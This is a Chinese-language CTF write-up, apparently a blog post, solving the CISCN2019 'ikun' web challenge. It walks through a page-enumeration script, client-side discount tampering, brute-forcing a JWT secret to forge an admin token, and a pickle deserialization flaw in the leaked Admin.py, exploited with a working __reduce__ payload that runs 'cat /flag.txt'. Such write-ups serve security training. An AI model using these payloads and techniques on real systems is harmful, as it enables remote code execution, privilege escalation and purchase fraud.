[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

 进来发现让买到lv6,可以翻页,并且url会随之改变

 翻了几页没找到lv6,脚本小子启动

import requests
url="http://30b74212-bc6f-465c-8b60-d9aeaa215b75.node4.buuoj.cn:81/shop?page="
 
for i in range(0,2000):
    print(i)
    r=requests.get( url + str(i) )
    if 'lv6.png' in r.text:
        print (i)
        break

 发现lv6在181页,修改url火速赶往181页

 点击购买,需要注册注册完了之后,发现钱不够但是有折扣,直接f12找到折扣修改

 点击购买的时候发现

 该页面只允许admin访问,并且在f12的application中cookie中发现了jwt:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q

此时需要修改名字为admin,但是不知道密钥,需要爆破密钥,暴力破解密钥:

工具:https://github.com/brendan-rius/c-jwt-cracker

 然后就是构造jwt,jwt在线编辑网站:jwt在线编辑网站:JSON Web Tokens - jwt.io

 

然后bp抓包,再点击购买,修改折扣的同时,jwt也要修改:

 然后放包,就发现购买成功了

 点击一键成为大会员,页面没有发生变化,f12查看源码发现了zip文件

 下载获得一个文件夹和一个main.py,往下目录里面看发现了Admin.py,在其中发现了pickle反序列化漏洞

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

二话不说,脚本小子再次出击:

import pickle
import urllib
import commands

class Try(object):
    def __reduce__(self):
        return (commands.getoutput, ('cat /flag.txt',))


a = Try()
print(urllib.quote(pickle.dumps(a)))

ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.

然后返回bp,点击一键成为大会员,在bp上become一栏修改为我们得到的payload,即可获得flag

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值